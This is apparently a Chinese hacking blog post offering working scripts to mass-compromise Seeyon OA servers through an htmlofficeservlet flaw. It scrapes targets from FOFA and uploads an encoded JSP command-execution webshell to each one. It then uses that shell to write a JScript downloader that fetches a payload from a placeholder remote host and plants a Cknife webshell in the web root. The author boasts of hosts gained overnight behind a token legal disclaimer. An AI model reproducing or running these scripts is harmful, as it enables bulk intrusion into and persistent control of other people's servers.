致远OA_0day批量植Cknife马一步到位

最近各位师傅都在刷这个嘛，原本的exp是上传一个test123456.jsp的命令执行的马子，不过我在试的时候发现替换成C刀一句话出错,原因未知，并且test123456.jsp如果存在的话用原来exp是无法覆盖的。

参考改进了t00ls师傅的代码(https://www.t00ls.net/viewthread ... =%E8%87%B4%E8%BF%9C)

A)批量的ip，利用脚本提取从fofa提取

B)上传的文件名和马子密码可以自己定义，摘自t00l师傅的java代码(https://www.t00ls.net/viewthread ... =%E8%87%B4%E8%BF%9C)#

C)植Cknife马的思路是通过上传的命令执行马，生成下载文件的js,然后js下载payload并移动到web根目录。

0x01 批量从fofa提取ip

# coding:utf-8
# 卿 博客:https://www.cnblogs.com/-qing-/
from bs4 import BeautifulSoup
import requests,re
session = "_fofapro_ars_session=****************************************"
header = {
    "Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
    "Accept-Encoding":"gzip, deflate, br",
    "Accept-Language":"zh-CN,zh;q=0.9",
    "Connection":"keep-alive",
    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
    "X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
    "X-Requested-With":"XMLHttpRequest",
    "Cookie":session,
}
def file_put(str):
    with open("ip.txt","a") as f:
        f.write(str)

def spider_ip(url):
    html_doc = requests.get(url = url,headers = header).content
    soup = BeautifulSoup(html_doc)
    for link in soup.find_all('a'):
        if "http" in link.get('href') :
            if "http" in link.get('href') :
            ip = link.get('href')
            result = re.findall(r"\d+\.\d+\.\d+.\d+",ip,re.I)[0]
            print result
            file_put(ip+"\n")

for i in range(1,5):
    spider_ip("https://fofa.so/result?full=true&page="+ str(i) +"&qbase64=c2VleW9u")

自己改下_fofapro_ars_session即可~~非会员只有前面5页的查询

0x02 上传自己的命令执行马

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import queue

q=queue.Queue()
file=open('url.txt')
for x in file.readlines():
        q.put(x.strip())
print("============Write the cmdshell started!==============\n")
#写命令执行马
def cmd():
        while not q.empty():
                url=q.get()
                headers={'Content-Type':'text/xml','User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.'}
                post_payload1="REJTVEVQJTIwVjMuMCUyMCUyMCUyMCUyMCUyMDM1NSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMDAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjA2NjYlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBEQlNURVAlM0RPS01MbEtsViUwQU9QVElPTiUzRFMzV1lPU1dMQlNHciUwQWN1cnJlbnRVc2VySWQlM0R6VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2JTBBQ1JFQVRFREFURSUzRHdVZ2hQQjNzekIzWHdnNjYlMEFSRUNPUkRJRCUzRHFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYlMEFvcmlnaW5hbEZpbGVJZCUzRHdWNjYlMEFvcmlnaW5hbENyZWF0ZURhdGUlM0R3VWdoUEIzc3pCM1h3ZzY2JTBBRklMRU5BTUUlM0RxZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkZFlRNXlpS1h3aVZHemZUMmRFZzYlMEFuZWVkUmVhZEZpbGUlM0R5UldaZEFTNiUwQW9yaWdpbmFsQ3JlYXRlRGF0ZSUzRHdMU0dQNG9FekxLQXo0JTNEaXolM0Q2NiUwQSUzQyUyNUAlMjBwYWdlJTIwbGFuZ3VhZ2UlM0QlMjJqYXZhJTIyJTIwaW1wb3J0JTNEJTIyamF2YS51dGlsLiolMkNqYXZhLmlvLiolMjIlMjBwYWdlRW5jb2RpbmclM0QlMjJVVEYtOCUyMiUyNSUzRSUzQyUyNSUyMXB1YmxpYyUyMHN0YXRpYyUyMFN0cmluZyUyMGV4Y3V0ZUNtZCUyOFN0cmluZyUyMGMlMjklMjAlN0JTdHJpbmdCdWlsZGVyJTIwbGluZSUyMCUzRCUyMG5ldyUyMFN0cmluZ0J1aWxkZXIlMjglMjklM0J0cnklMjAlN0JQcm9jZXNzJTIwcHJvJTIwJTNEJTIwUnVudGltZS5nZXRSdW50aW1lJTI4JTI5LmV4ZWMlMjhjJTI5JTNCQnVmZmVyZWRSZWFkZXIlMjBidWYlMjAlM0QlMjBuZXclMjBCdWZmZXJlZFJlYWRlciUyOG5ldyUyMElucHV0U3RyZWFtUmVhZGVyJTI4cHJvLmdldElucHV0U3RyZWFtJTI4JTI5JTI5JTI5JTNCU3RyaW5nJTIwdGVtcCUyMCUzRCUyMG51bGwlM0J3aGlsZSUyMCUyOCUyOHRlbXAlMjAlM0QlMjBidWYucmVhZExpbmUlMjglMjklMjklMjAlMjElM0QlMjBudWxsJTI5JTIwJTdCbGluZS5hcHBlbmQlMjh0ZW1wKyUyMiU1Q24lMjIlMjklM0IlN0RidWYuY2xvc2UlMjglMjklM0IlN0QlMjBjYXRjaCUyMCUyOEV4Y2VwdGlvbiUyMGUlMjklMjAlN0JsaW5lLmFwcGVuZCUyOGUuZ2V0TWVzc2FnZSUyOCUyOSUyOSUzQiU3RHJldHVybiUyMGxpbmUudG9TdHJpbmclMjglMjklM0IlN0QlMjAlMjUlM0UlM0MlMjVpZiUyOCUyMnFpbmclMjIuZXF1YWxzJTI4cmVxdWVzdC5nZXRQYXJhbWV0ZXIlMjglMjJwd2QlMjIlMjklMjklMjYlMjYlMjElMjIlMjIuZXF1YWxzJTI4cmVxdWVzdC5nZXRQYXJhbWV0ZXIlMjglMjJjbWQlMjIlMjklMjklMjklN0JvdXQucHJpbnRsbiUyOCUyMiUzQ3ByZSUzRSUyMitleGN1dGVDbWQlMjhyZXF1ZXN0LmdldFBhcmFtZXRlciUyOCUyMmNtZCUyMiUyOSUyOSUyMCslMjAlMjIlM0MvcHJlJTNFJTIyJTI5JTNCJTdEZWxzZSU3Qm91dC5wcmludGxuJTI4JTIyJTNBLSUyOSUyMiUyOSUzQiU3RCUyNSUzRTZlNGYwNDVkNGI4NTA2YmY0OTJhZGE3ZTMzOTBkN2Nl"
                post_payload1 = base64.b64decode(post_payload1)
                requests.packages.urllib3.disable_warnings()
                try:
                        post=requests.post(url=url+'/seeyon/htmlofficeservlet',data=post_payload1,headers=headers,verify=False,timeout=10)
                        r = requests.get(url=url+'/seeyon/qing123456.jsp?pwd=qing&cmd=cmd+/c+echo%20hacker',headers=headers,timeout=10,verify=False)
                        if 'hacker' in r.text:
                                print ('!=========Write to successful :'+url+'/seeyon/qing123456.jsp?pwd=qing&cmd=cmd+/c+echo+hacker'+'===============!!!\n')
                                with open('success.txt','a') as f:
                                        f.write(url+'\n')
                        else:
                                pass
                except:
                        pass

#线程队列部分
th=[]
th_num=10
for x in range(th_num):
        t=threading.Thread(target=cmd)
        th.append(t)
for x in range(th_num):
        th[x].start()
for x in range(th_num):
        th[x].join()

这里post_payload1是你的post包，也就是那个exp，改名的话各位可以参考使用t00ls老哥的 ，这里也贴上

import java.io.ByteArrayOutputStream;
import java.io.UnsupportedEncodingException;

public class Main {
    String TableBase64 = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";

    public String DecodeBase64(String paramString)
    {
        ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
        String str = "";

        byte[] arrayOfByte2 = new byte[4];
        try
        {
            int j = 0;
            byte[] arrayOfByte1 = paramString.getBytes();
            while (j < arrayOfByte1.length)
            {
                for (int i = 0; i <= 3; i++)
                {
                    if (j >= arrayOfByte1.length)
                    {
                        arrayOfByte2[i] = 64;
                    }
                    else
                    {
                        int k = this.TableBase64.indexOf(arrayOfByte1[j]);
                        if (k < 0) {
                            k = 65;
                        }
                        arrayOfByte2[i] = ((byte)k);
                    }
                    j++;
                }
                localByteArrayOutputStream.write((byte)(((arrayOfByte2[0] & 0x3F) << 2) + ((arrayOfByte2[1] & 0x30) >> 4)));
                if (arrayOfByte2[2] != 64)
                {
                    localByteArrayOutputStream.write((byte)(((arrayOfByte2[1] & 0xF) << 4) + ((arrayOfByte2[2] & 0x3C) >> 2)));
                    if (arrayOfByte2[3] != 64) {
                        localByteArrayOutputStream.write((byte)(((arrayOfByte2[2] & 0x3) << 6) + (arrayOfByte2[3] & 0x3F)));
                    }
                }
            }
        }
        catch (StringIndexOutOfBoundsException localStringIndexOutOfBoundsException)
        {
            //this.FError += localStringIndexOutOfBoundsException.toString();
            System.out.println(localStringIndexOutOfBoundsException.toString());
        }
        try
        {
            str =
localByteArrayOutputStream.toString("GB2312");
        }
        catch (UnsupportedEncodingException localUnsupportedEncodingException)
        {
            System.out.println(localUnsupportedEncodingException.toString());
        }
        return str;
    }

    public String EncodeBase64(String var1)
    {
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        byte[] var7 = new byte[4];

        try {
            int var4 = 0;
            byte[] var6 = var1.getBytes("GB2312");

            while(var4 < var6.length) {
                byte var5 = var6[var4];
                ++var4;
                var7[0] = (byte)((var5 & 252) >> 2);
                var7[1] = (byte)((var5 & 3) << 4);
                if (var4 < var6.length) {
                    var5 = var6[var4];
                    ++var4;
                    var7[1] += (byte)((var5 & 240) >> 4);
                    var7[2] = (byte)((var5 & 15) << 2);
                    if (var4 < var6.length) {
                        var5 = var6[var4];
                        ++var4;
                        var7[2] = (byte)(var7[2] + ((var5 & 192) >> 6));
                        var7[3] = (byte)(var5 & 63);
                    } else {
                        var7[3] = 64;
                    }
                } else {
                    var7[2] = 64;
                    var7[3] = 64;
                }

                for(int var3 = 0; var3 <= 3; ++var3) {
                    var2.write(this.TableBase64.charAt(var7[var3]));
                }
            }
        } catch (StringIndexOutOfBoundsException var10) {
           // this.FError = this.FError + var10.toString();
            System.out.println(var10.toString());
        } catch (UnsupportedEncodingException var11) {
            System.out.println(var11.toString());
        }

        return var2.toString();

    }
    public static void main(String[] args) {

        Main m = new Main();
        System.out.println(m.DecodeBase64("qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6"));
        System.out.println(m.EncodeBase64("..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\qing123456.jsp"));
    }
}

还是有点速度~

0x03 利用执行马植C刀马

有的人觉得我这样好麻烦，不过在第二步直接传C刀马要报错，我有啥办法列~~

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import requests
import threading
import queue

q=queue.Queue()

file=open('1.txt')
for x in file.readlines():
        q.put(x.strip())

#成功的命令执行 写c刀一句话
def CKnife():
        while not q.empty():
                url=q.get()
                headers={'Content-Type':'text/xml','User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.'}
                js_payload = "seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd /c echo var WinHttpReq = new ActiveXObject(\"WinHttp.WinHttpRequest.5.1\"); WinHttpReq.Open(\"GET\", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject(\"ADODB.Stream\"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile(\"qingxin.jsp\"); >> qing.js"
                #js_payload = str(js_payload,encoding = "utf-8")
                requests.packages.urllib3.disable_warnings()
                r = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+'+js_payload,headers=headers,timeout=10,verify=False)
                r2 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+dir',headers=headers,timeout=10,verify=False)# 第一步 #生成下载文件的js文件
                if 'qing.js' in r2.text:
                        #第二步 使用js远程下载shell代码
                        r3 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+cscript+/nologo+qing.js+http://xxxxxxx/index.txt',headers=headers,timeout=10,verify=False)
                        r4 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+dir',headers=headers,timeout=10,verify=False)# 判断下载的jsp是否存在
                        if 'qingxin.jsp' in r4.text:
                                #移动到根目录下
                                r5 = requests.get(url=url+'/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd /c move qingxin.jsp ../webapps/seeyon/',headers=headers,timeout=10,verify=False)
                                print ('!=========Cknife Webshell :'+url+'/seeyon/qingxin.jsp'+'===============!!!\n')
                                with open('webshell.txt','a') as f:
                                        f.write(url+'/seeyon/qingxin.jsp'+'\n')
                        else:
                                print ('webshell write fail:'+url+ ' time out.'+'\n')
                else:
                        print ('js_payload write fail:'+url+ ' time out.'+'\n')

th=[]
th_num=10
for x in range(th_num):
        t=threading.Thread(target=CKnife)
        th.append(t)
for x in range(th_num):
        th[x].start()
for x in range(th_num):
        th[x].join()

注意这里http://xxxxxxx/index.txt 是你需要下载的代码，可以是C刀的一句话也可以是其他的。结果：

一晚上还是能搞一点。。。。仅供测试，且勿违反法律道德，后果自负。